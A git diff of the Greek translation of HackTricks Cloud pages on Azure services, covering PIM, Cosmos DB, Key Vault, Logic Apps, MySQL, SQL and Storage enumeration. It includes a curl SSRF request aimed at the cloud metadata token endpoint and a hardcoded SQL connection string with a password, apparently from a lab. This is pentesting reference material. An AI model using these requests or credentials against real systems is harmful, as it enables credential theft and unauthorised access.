κύρια χαρακτηριστικά που παρέχει το PIM είναι ότι επιτρέπει να μην ανατίθενται ρόλοι σε κύριους που είναι συνεχώς ενεργοί, αλλά να γίνονται **επιλέξιμοι για μια περίοδο (π.χ. 6 μήνες)**. Στη συνέχεια, όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να ζητήσει αυτόν, υποδεικνύοντας τον χρόνο που χρειάζεται την προνομία (π.χ. 3 ώρες). Στη συνέχεια, ένας **διαχειριστής πρέπει να εγκρίνει** το αίτημα.\ +Μία από τις κύριες δυνατότητες που παρέχει το PIM είναι ότι επιτρέπει να μην εκχωρούνται ρόλοι σε κύριους που είναι συνεχώς ενεργοί, αλλά να γίνονται **επιλέξιμοι για μια περίοδο (π.χ. 6 μήνες)**. Στη συνέχεια, όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να ζητήσει αυτόν, υποδεικνύοντας τον χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **διαχειριστής πρέπει να εγκρίνει** το αίτημα.\ Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επέκταση** του χρόνου. -Επιπλέον, **το PIM στέλνει email** όποτε ένας προνομιακός ρόλος ανατίθεται σε κάποιον. +Επιπλέον, **το PIM στέλνει email** όποτε εκχωρείται ένας προνομιακός ρόλος σε κάποιον.
-Όταν το PIM είναι ενεργοποιημένο, είναι δυνατό να ρυθμιστεί κάθε ρόλος με ορισμένες απαιτήσεις όπως: +Όταν το PIM είναι ενεργοποιημένο, είναι δυνατή η ρύθμιση κάθε ρόλου με συγκεκριμένες απαιτήσεις όπως: - Μέγιστη διάρκεια (ώρες) ενεργοποίησης - Απαιτεί MFA κατά την ενεργοποίηση @@ -923,8 +923,8 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members - Απαιτεί δικαιολόγηση κατά την ενεργοποίηση - Απαιτεί πληροφορίες εισιτηρίου κατά την ενεργοποίηση - Απαιτεί έγκριση για ενεργοποίηση -- Μέγιστος χρόνος λήξης των επιλέξιμων αναθέσεων -- Πολλές άλλες ρυθμίσεις σχετικά με το πότε και ποιος να στέλνει ειδοποιήσεις όταν συμβαίνουν ορισμένες ενέργειες με αυτόν τον ρόλο +- Μέγιστος χρόνος λήξης των επιλέξιμων εκχωρήσεων +- Πολλές άλλες ρυθμίσεις σχετικά με το πότε και ποιος θα στέλνει ειδοποιήσεις όταν συμβαίνουν συγκεκριμένες ενέργειες με αυτόν τον ρόλο ### Πολιτικές Conditional Access @@ -938,16 +938,16 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members Η Προστασία Ταυτότητας Entra είναι μια υπηρεσία ασφαλείας που επιτρέπει να **ανιχνεύει πότε ένας χρήστης ή μια είσοδος είναι πολύ ριψοκίνδυνη** για να γίνει αποδεκτή, επιτρέποντας να **μπλοκάρει** τον χρήστη ή την προσπάθεια εισόδου. -Επιτρέπει στον διαχειριστή να το ρυθμίσει ώστε να **μπλοκάρει** τις προσπάθειες όταν ο κίνδυνος είναι "Χαμηλός και άνω", "Μέτριος και άνω" ή "Υψηλός". Αν και, από προεπιλογή είναι εντελώς **απενεργοποιημένο**: +Επιτρέπει στον διαχειριστή να το ρυθμίσει ώστε να **μπλοκάρει** τις προσπάθειες όταν ο κίνδυνος είναι "Χαμηλός και άνω", "Μεσαίος και άνω" ή "Υψηλός". Αν και, από προεπιλογή είναι εντελώς **απενεργοποιημένο**:
> [!TIP] -> Σήμερα συνιστάται να προστίθενται αυτούς τους περιορισμούς μέσω πολιτικών Conditional Access όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών. +> Σήμερα συνιστάται να προστίθενται αυτού του είδους οι περιορισμοί μέσω πολιτικών Conditional Access όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών. ### Προστασία Κωδικών Entra -Η Προστασία Κωδικών Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφαλείας που **βοηθά στην αποτροπή της κακής χρήσης αδύναμων κωδικών κλειδιών κλειδώνοντας λογαριασμούς όταν συμβαίνουν πολλές αποτυχημένες προσπάθειες σύνδεσης**.\ +Η Προστασία Κωδικών Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφαλείας που **βοηθά στην πρόληψη της κακής χρήσης αδύναμων κωδικών κλειδώνοντας λογαριασμούς όταν συμβαίνουν πολλές αποτυχημένες προσπάθειες σύνδεσης**.\ Επιτρέπει επίσης να **απαγορεύσετε μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε. Μπορεί να **εφαρμοστεί τόσο** σε επίπεδο cloud όσο και σε τοπικό Active Directory. diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 9d82b51df..87e0b4dec 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -17,9 +17,9 @@ Learn & practice GCP Hacking: --contai {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.CosmosD # List all Cosmos DB accounts in a specified resource group. @@ -173,7 +173,7 @@ print(item) ``` {% endcode %} -Ένας άλλος τρόπος για να καθιερώσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (δείτε για περισσότερα) +Ένας άλλος τρόπος για να καθορίσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (βλ. για περισσότερα) {% code overflow="wrap" %} ```python @@ -212,7 +212,7 @@ mongodb://:/ {% endcode %} #### Βάσεις Δεδομένων -Στο MongoDB, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων εντός μιας παρουσίας. Κάθε βάση δεδομένων λειτουργεί ως λογική ομαδοποίηση συλλογών και παρέχει ένα όριο για την οργάνωση και διαχείριση πόρων. Οι βάσεις δεδομένων βοηθούν στη λογική διαχωριστική και διαχείριση δεδομένων, όπως για διαφορετικές εφαρμογές ή έργα. +Στο MongoDB, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων μέσα σε μια παρουσία. Κάθε βάση δεδομένων λειτουργεί ως λογική ομαδοποίηση συλλογών και παρέχει ένα όριο για την οργάνωση και διαχείριση πόρων. Οι βάσεις δεδομένων βοηθούν στη λογική διαχωριστική και διαχείριση δεδομένων, όπως για διαφορετικές εφαρμογές ή έργα. #### Συλλογές Η βασική μονάδα αποθήκευσης δεδομένων στο MongoDB είναι η συλλογή, η οποία περιέχει έγγραφα και έχει σχεδιαστεί για αποδοτική αναζήτηση και ευέλικτο σχεδιασμό σχήματος. Οι συλλογές είναι ελαστικά κλιμακούμενες και μπορούν να υποστηρίξουν λειτουργίες υψηλής απόδοσης σε πολλαπλούς κόμβους σε μια κατανεμημένη ρύθμιση. @@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group --name --source {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash Get-AzStorageAccount # List File Shares @@ -88,13 +88,13 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor ### Σύνδεση -Αυτά είναι τα σενάρια που προτείνει το Azure κατά τη διάρκεια της συγγραφής για να συνδεθείτε σε ένα File Share: +Αυτά είναι τα σενάρια που προτείνονται από την Azure κατά τη διάρκεια της συγγραφής για να συνδεθείτε σε ένα File Share: Πρέπει να αντικαταστήσετε τους χώρους ``, `` και ``. {{#tabs}} {{#tab name="Windows"}} -```powershell +```bash $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445 if ($connectTestResult.TcpTestSucceeded) { # Save the password so the drive will persist on reboot @@ -131,7 +131,7 @@ open smb://:@.file.core.windows.ne {{#endtab}} {{#endtabs}} -### Κανονική αποθήκευση καταμέτρησης (κλειδιά πρόσβασης, SAS...) +### Κανονική καταμέτρηση αποθήκευσης (κλειδιά πρόσβασης, SAS...) {{#ref}} az-storage.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md index 0514a6a07..1bb1305ca 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md +++ b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md @@ -4,7 +4,7 @@ ## Basic Information -**Azure Key Vault** είναι μια υπηρεσία cloud που παρέχεται από το Microsoft Azure για την ασφαλή αποθήκευση και διαχείριση ευαίσθητων πληροφοριών όπως **μυστικά, κλειδιά, πιστοποιητικά και κωδικούς πρόσβασης**. Λειτουργεί ως κεντρικό αποθετήριο, προσφέροντας ασφαλή πρόσβαση και λεπτομερή έλεγχο χρησιμοποιώντας το Azure Active Directory (Azure AD). Από την άποψη της ασφάλειας, το Key Vault παρέχει **προστασία με υλικό ασφαλείας (HSM)** για κρυπτογραφικά κλειδιά, διασφαλίζει ότι τα μυστικά είναι κρυπτογραφημένα τόσο σε κατάσταση ηρεμίας όσο και σε μεταφορά, και προσφέρει ισχυρή διαχείριση πρόσβασης μέσω **ελέγχου πρόσβασης βάσει ρόλων (RBAC)** και πολιτικών. Διαθέτει επίσης **καταγραφή ελέγχου**, ενσωμάτωση με το Azure Monitor για παρακολούθηση πρόσβασης και αυτοματοποιημένη περιστροφή κλειδιών για μείωση του κινδύνου από παρατεταμένη έκθεση κλειδιών. +**Azure Key Vault** είναι μια υπηρεσία cloud που παρέχεται από το Microsoft Azure για την ασφαλή αποθήκευση και διαχείριση ευαίσθητων πληροφοριών όπως **μυστικά, κλειδιά, πιστοποιητικά και κωδικούς πρόσβασης**. Λειτουργεί ως κεντρικό αποθετήριο, προσφέροντας ασφαλή πρόσβαση και λεπτομερή έλεγχο χρησιμοποιώντας το Azure Active Directory (Azure AD). Από την άποψη της ασφάλειας, το Key Vault παρέχει **προστασία με υλικό ασφαλείας (HSM)** για κρυπτογραφικά κλειδιά, διασφαλίζει ότι τα μυστικά είναι κρυπτογραφημένα τόσο σε κατάσταση ηρεμίας όσο και σε μετάδοση, και προσφέρει ισχυρή διαχείριση πρόσβασης μέσω **ελέγχου πρόσβασης βάσει ρόλων (RBAC)** και πολιτικών. Διαθέτει επίσης **καταγραφή ελέγχου**, ενσωμάτωση με το Azure Monitor για παρακολούθηση πρόσβασης και αυτοματοποιημένη περιστροφή κλειδιών για μείωση του κινδύνου από παρατεταμένη έκθεση κλειδιών. Δείτε [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) για πλήρεις λεπτομέρειες. @@ -19,11 +19,11 @@ - `object-name` είναι το **μοναδικό** όνομα του αντικειμένου εντός του key vault - `object-version` είναι αυτόματα παραγόμενο και χρησιμοποιείται προαιρετικά για να αναφέρεται σε μια **μοναδική έκδοση ενός αντικειμένου**. -Για να αποκτήσετε πρόσβαση στα μυστικά που αποθηκεύονται στο vault, είναι δυνατή η επιλογή μεταξύ 2 μοντέλων δικαιωμάτων κατά τη δημιουργία του vault: +Για να αποκτήσετε πρόσβαση στα μυστικά που αποθηκεύονται στο vault, είναι δυνατή η επιλογή μεταξύ 2 μοντέλων αδειών κατά τη δημιουργία του vault: - **Πολιτική πρόσβασης Vault** - **Azure RBAC** (το πιο κοινό και συνιστώμενο) -- Μπορείτε να βρείτε όλα τα λεπτομερή δικαιώματα που υποστηρίζονται στο [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault) +- Μπορείτε να βρείτε όλες τις λεπτομερείς άδειες που υποστηρίζονται στο [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault) ### Access Control @@ -34,7 +34,7 @@ - Το **data plane**, του οποίου ο στόχος είναι **`.vault.azure.com`**. - Χρησιμοποιείται για τη διαχείριση και την πρόσβαση στα **δεδομένα** (κλειδιά, μυστικά και πιστοποιητικά) **στο key vault**. Αυτό υποστηρίζει **πολιτικές πρόσβασης key vault** ή Azure **RBAC**. -Ένας ρόλος όπως ο **Contributor** που έχει δικαιώματα στο management plane για τη διαχείριση πολιτικών πρόσβασης μπορεί να αποκτήσει πρόσβαση στα μυστικά τροποποιώντας τις πολιτικές πρόσβασης. +Ένας ρόλος όπως ο **Contributor** που έχει άδειες στο management plane για τη διαχείριση πολιτικών πρόσβασης μπορεί να αποκτήσει πρόσβαση στα μυστικά τροποποιώντας τις πολιτικές πρόσβασης. ### Key Vault RBAC Built-In Roles @@ -56,9 +56,9 @@ az keyvault show --name name-vault --query networkAcls Όταν δημιουργείται ένα key vault, ο ελάχιστος αριθμός ημερών που επιτρέπεται για διαγραφή είναι 7. Αυτό σημαίνει ότι όποτε προσπαθείτε να διαγράψετε αυτό το key vault, θα χρειαστεί **τουλάχιστον 7 ημέρες για να διαγραφεί**. -Ωστόσο, είναι δυνατό να δημιουργηθεί ένα vault με **απενεργοποιημένη προστασία εκκαθάρισης**, η οποία επιτρέπει την εκκαθάριση του key vault και των αντικειμένων κατά τη διάρκεια της περιόδου διατήρησης. Αν και, μόλις αυτή η προστασία ενεργοποιηθεί για ένα vault, δεν μπορεί να απενεργοποιηθεί. +Ωστόσο, είναι δυνατό να δημιουργηθεί ένα vault με **απενεργοποιημένη την προστασία εκκαθάρισης**, η οποία επιτρέπει την εκκαθάριση του key vault και των αντικειμένων κατά τη διάρκεια της περιόδου διατήρησης. Αν και, μόλις αυτή η προστασία ενεργοποιηθεί για ένα vault, δεν μπορεί να απενεργοποιηθεί. -## Enumeration +## Απαρίθμηση {{#tabs }} {{#tab name="az" }} @@ -92,7 +92,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/
-ή να ελέγξετε τον κώδικα στην ενότητα "**Προβολή κώδικα Logic app**". +ή να ελέγξετε τον κώδικα στην ενότητα "**Logic app code view**". ### SSRF Protection -Ακόμα και αν βρείτε το **Logic App ευάλωτο σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα, καθώς το Logic Apps δεν το επιτρέπει. +Ακόμα και αν βρείτε το **Logic App ευάλωτο σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα καθώς τα Logic Apps δεν το επιτρέπουν. Για παράδειγμα, κάτι τέτοιο δεν θα επιστρέψει το token: ```bash # The URL belongs to a Logic App vulenrable to SSRF curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v ``` -### Απαρίθμηση +### Enumeration {{#tabs }} {{#tab name="az cli" }} @@ -47,7 +47,7 @@ az logic workflow identity show --name --resource-group # Get info diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index d77dfc3e7..3abe04346 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -1,16 +1,16 @@ # Az - MySQL Databases {% hint style="success" %} -Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Υποστήριξη HackTricks +Support HackTricks -* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! -* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -28,13 +28,13 @@ - Χαρακτηριστικά περιλαμβάνουν ελαστική κλιμάκωση, διαχείριση ενημερώσεων και βελτιστοποίηση φορτίου εργασίας. - Προσφέρει λειτουργία διακοπής/εκκίνησης για εξοικονόμηση κόστους. -### Κύρια Χαρακτηριστικά -* **Διαχείριση Διακομιστή**: Η δυνατότητα **ad-admin** επιτρέπει τη διαχείριση των διαχειριστών Azure Active Directory (AAD) για τους διακομιστές MySQL, παρέχοντας έλεγχο στην πρόσβαση διαχείρισης μέσω διαπιστευτηρίων AAD, ενώ η δυνατότητα **identity** επιτρέπει την ανάθεση και διαχείριση των Azure Managed Identities, προσφέροντας ασφαλή, χωρίς διαπιστευτήρια, αυθεντικοποίηση για την πρόσβαση σε πόρους Azure. -* **Διαχείριση Κύκλου Ζωής**: επιλογές για εκκίνηση ή διακοπή ενός διακομιστή, διαγραφή μιας ευέλικτης παρουσίας διακομιστή, επανεκκίνηση ενός διακομιστή για γρήγορη εφαρμογή αλλαγών διαμόρφωσης και αναμονή για να διασφαλιστεί ότι ένας διακομιστής πληροί συγκεκριμένες προϋποθέσεις πριν προχωρήσει με αυτοματοποιημένα σενάρια. -* **Ασφάλεια και Δικτύωση**: μπορεί να διαχειριστεί κανόνες τείχους προστασίας διακομιστή για ασφαλή πρόσβαση στη βάση δεδομένων και να αποσυνδέσει τις ρυθμίσεις εικονικού δικτύου όπως απαιτείται. -* **Προστασία Δεδομένων και Αντίγραφα Ασφαλείας**: περιλαμβάνει επιλογές για τη διαχείριση των αντιγράφων ασφαλείας ευέλικτου διακομιστή για ανάκτηση δεδομένων, εκτέλεση γεω-αποκατάστασης για την ανάκτηση ενός διακομιστή σε διαφορετική περιοχή, εξαγωγή αντιγράφων ασφαλείας διακομιστή για εξωτερική χρήση (σε Προεπισκόπηση) και αποκατάσταση ενός διακομιστή από αντίγραφο ασφαλείας σε συγκεκριμένη χρονική στιγμή. +### Key Features +* **Server Management**: Η δυνατότητα **ad-admin** επιτρέπει τη διαχείριση των διαχειριστών Azure Active Directory (AAD) για τους διακομιστές MySQL, παρέχοντας έλεγχο στην πρόσβαση των διαχειριστών μέσω διαπιστευτηρίων AAD, ενώ η δυνατότητα **identity** επιτρέπει την ανάθεση και τη διαχείριση των Azure Managed Identities, προσφέροντας ασφαλή, χωρίς διαπιστευτήρια, αυθεντικοποίηση για την πρόσβαση σε πόρους Azure. +* **Lifecycle Management**: επιλογές για την εκκίνηση ή την διακοπή ενός διακομιστή, τη διαγραφή μιας ευέλικτης παρουσίας διακομιστή, την επανεκκίνηση ενός διακομιστή για γρήγορη εφαρμογή αλλαγών διαμόρφωσης και την αναμονή για να διασφαλιστεί ότι ένας διακομιστής πληροί συγκεκριμένες προϋποθέσεις πριν προχωρήσει με τα αυτοματοποιημένα σενάρια. +* **Security and Networking**: μπορεί να διαχειριστεί κανόνες τείχους προστασίας διακομιστή για ασφαλή πρόσβαση στη βάση δεδομένων και να αποσυνδέσει τις ρυθμίσεις εικονικού δικτύου όπως απαιτείται. +* **Data Protection and Backup**: περιλαμβάνει επιλογές για τη διαχείριση των αντιγράφων ασφαλείας ευέλικτου διακομιστή για ανάκτηση δεδομένων, εκτέλεση γεω-αποκατάστασης για την ανάκτηση ενός διακομιστή σε διαφορετική περιοχή, εξαγωγή αντιγράφων ασφαλείας διακομιστή για εξωτερική χρήση (σε Προεπισκόπηση) και αποκατάσταση ενός διακομιστή από αντίγραφο ασφαλείας σε συγκεκριμένη χρονική στιγμή. -### Αριθμητική +### Enumeration {% tabs %} {% tab title="az cli" %} @@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.MySql # Get all flexible servers in a resource group @@ -138,7 +138,7 @@ mysql -h .mysql.database.azure.com -P 3306 -u -p ``` {% endcode %} -Επίσης, μπορείτε να εκτελέσετε ερωτήματα με το github, αλλά απαιτούνται επίσης ο κωδικός πρόσβασης και ο χρήστης. Πρέπει να ρυθμίσετε ένα αρχείο sql με το ερώτημα που θέλετε να εκτελέσετε και στη συνέχεια: +Επίσης, μπορείτε να εκτελέσετε ερωτήματα με το github, αλλά χρειάζεστε επίσης τον κωδικό πρόσβασης και τον χρήστη. Πρέπει να ρυθμίσετε ένα αρχείο sql με το ερώτημα που θέλετε να εκτελέσετε και στη συνέχεια: {% code overflow="wrap" %} ```bash # Setup @@ -160,7 +160,7 @@ az mysql flexible-server deploy run \ ``` {% endcode %} -## Ανύψωση Δικαιωμάτων +## Ανύψωση Προνομίων {% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} [az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) @@ -174,7 +174,7 @@ az mysql flexible-server deploy run \ ## ToDo -* Δείτε έναν τρόπο πρόσβασης με mysql flexible-server ad-admin για να επαληθεύσετε ότι είναι μέθοδος ανύψωσης δικαιωμάτων +* Δείτε έναν τρόπο πρόσβασης με mysql flexible-server ad-admin για να επαληθεύσετε ότι είναι μέθοδος ανύψωσης προνομίων {% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 299266b74..d15aac8e7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -26,12 +26,12 @@ Learn & practice GCP Hacking: --name {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash # List Servers Get-AzSqlServer -ResourceGroupName "" @@ -206,10 +206,10 @@ Get-AzSqlVM {{#endtab}} {{#endtabs}} -### Σύνδεση και εκτέλεση SQL ερωτημάτων +### Σύνδεση και εκτέλεση ερωτημάτων SQL Μπορείτε να βρείτε μια συμβολοσειρά σύνδεσης (που περιέχει διαπιστευτήρια) από το παράδειγμα [enumerating an Az WebApp](az-app-services.md): -```powershell +```bash function invoke-sql{ param($query) $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" @@ -227,8 +227,8 @@ $Connection.Close() invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' ``` -Μπορείτε επίσης να χρησιμοποιήσετε το sqlcmd για να αποκτήσετε πρόσβαση στη βάση δεδομένων. Είναι σημαντικό να γνωρίζετε αν ο διακομιστής επιτρέπει δημόσιες συνδέσεις `az sql server show --name --resource-group `, και επίσης αν ο κανόνας του τείχους προστασίας επιτρέπει τη διεύθυνση IP μας να έχει πρόσβαση: -```powershell +Μπορείτε επίσης να χρησιμοποιήσετε το sqlcmd για να αποκτήσετε πρόσβαση στη βάση δεδομένων. Είναι σημαντικό να γνωρίζετε αν ο διακομιστής επιτρέπει δημόσιες συνδέσεις `az sql server show --name --resource-group `, και επίσης αν ο κανόνας του τείχους προστασίας επιτρέπει στη διεύθυνση IP μας να αποκτήσει πρόσβαση: +```bash sqlcmd -S .database.windows.net -U -P -d ``` ## Αναφορές diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 57e92e81c..6c3a1a47c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,29 +4,29 @@ ## Βασικές Πληροφορίες -Οι Λογαριασμοί Αποθήκευσης Azure είναι θεμελιώδεις υπηρεσίες στο Microsoft Azure που παρέχουν κλιμακωτή, ασφαλή και εξαιρετικά διαθέσιμη cloud **αποθήκευση για διάφορους τύπους δεδομένων**, συμπεριλαμβανομένων των blobs (binary large objects), αρχείων, ουρών και πινάκων. Λειτουργούν ως δοχεία που ομαδοποιούν αυτές τις διαφορετικές υπηρεσίες αποθήκευσης κάτω από ένα ενιαίο namespace για εύκολη διαχείριση. +Οι Λογαριασμοί Αποθήκευσης Azure είναι θεμελιώδεις υπηρεσίες στο Microsoft Azure που παρέχουν κλιμακωτή, ασφαλή και εξαιρετικά διαθέσιμη cloud **αποθήκευση για διάφορους τύπους δεδομένων**, συμπεριλαμβανομένων των blobs (μεγάλων δυαδικών αντικειμένων), αρχείων, ουρών και πινάκων. Λειτουργούν ως δοχεία που ομαδοποιούν αυτές τις διαφορετικές υπηρεσίες αποθήκευσης κάτω από ένα ενιαίο όνομα χώρου για εύκολη διαχείριση. **Κύριες επιλογές διαμόρφωσης**: - Κάθε λογαριασμός αποθήκευσης πρέπει να έχει ένα **μοναδικό όνομα σε όλους τους Azure**. - Κάθε λογαριασμός αποθήκευσης αναπτύσσεται σε μια **περιοχή** ή σε μια επεκταμένη ζώνη Azure. - Είναι δυνατή η επιλογή της **premium** έκδοσης του λογαριασμού αποθήκευσης για καλύτερη απόδοση. -- Είναι δυνατή η επιλογή μεταξύ **4 τύπων πλεονασμού για προστασία** από αποτυχίες ραφιών, δίσκων και κέντρων δεδομένων. +- Είναι δυνατή η επιλογή μεταξύ **4 τύπων πλεονασμού για προστασία** από αποτυχίες rack, δίσκου και κέντρου δεδομένων. **Επιλογές διαμόρφωσης ασφαλείας**: - **Απαιτεί ασφαλή μεταφορά για τις λειτουργίες REST API**: Απαιτεί TLS σε οποιαδήποτε επικοινωνία με την αποθήκευση. - **Επιτρέπει την ενεργοποίηση ανώνυμης πρόσβασης σε μεμονωμένα δοχεία**: Αν όχι, δεν θα είναι δυνατή η ενεργοποίηση ανώνυμης πρόσβασης στο μέλλον. -- **Ενεργοποίηση πρόσβασης με κλειδιά λογαριασμού αποθήκευσης**: Αν όχι, η πρόσβαση με Shared Keys θα απαγορευτεί. +- **Ενεργοποίηση πρόσβασης με κλειδί λογαριασμού αποθήκευσης**: Αν όχι, η πρόσβαση με Κοινά Κλειδιά θα απαγορευτεί. - **Ελάχιστη έκδοση TLS**. -- **Επιτρεπόμενη έκταση για λειτουργίες αντιγραφής**: Επιτρέπεται από οποιονδήποτε λογαριασμό αποθήκευσης, από οποιονδήποτε λογαριασμό αποθήκευσης από τον ίδιο Entra tenant ή από λογαριασμό αποθήκευσης με ιδιωτικά endpoints στο ίδιο εικονικό δίκτυο. +- **Επιτρεπόμενη έκταση για λειτουργίες αντιγραφής**: Επιτρέπεται από οποιονδήποτε λογαριασμό αποθήκευσης, από οποιονδήποτε λογαριασμό αποθήκευσης από τον ίδιο ενοικιαστή Entra ή από λογαριασμό αποθήκευσης με ιδιωτικά endpoints στο ίδιο εικονικό δίκτυο. -**Επιλογές Blob Storage**: +**Επιλογές Αποθήκευσης Blob**: - **Επιτρέπεται η διασυνοριακή αναπαραγωγή**. - **Επίπεδο πρόσβασης**: Hot (συχνά προσβάσιμα δεδομένα), Cool και Cold (σπάνια προσβάσιμα δεδομένα). -**Επιλογές δικτύωσης**: +**Επιλογές Δικτύωσης**: - **Πρόσβαση δικτύου**: - Επιτρέπεται από όλα τα δίκτυα. @@ -34,7 +34,7 @@ - Απενεργοποίηση δημόσιας πρόσβασης και χρήση ιδιωτικής πρόσβασης. - **Ιδιωτικά endpoints**: Επιτρέπει μια ιδιωτική σύνδεση στον λογαριασμό αποθήκευσης από ένα εικονικό δίκτυο. -**Επιλογές προστασίας δεδομένων**: +**Επιλογές Προστασίας Δεδομένων**: - **Ανάκτηση σε συγκεκριμένο χρόνο για δοχεία**: Επιτρέπει την αποκατάσταση δοχείων σε προηγούμενη κατάσταση. - Απαιτεί ενεργοποίηση της εκδοχής, της ροής αλλαγών και της ήπιας διαγραφής blob. @@ -46,28 +46,28 @@ - 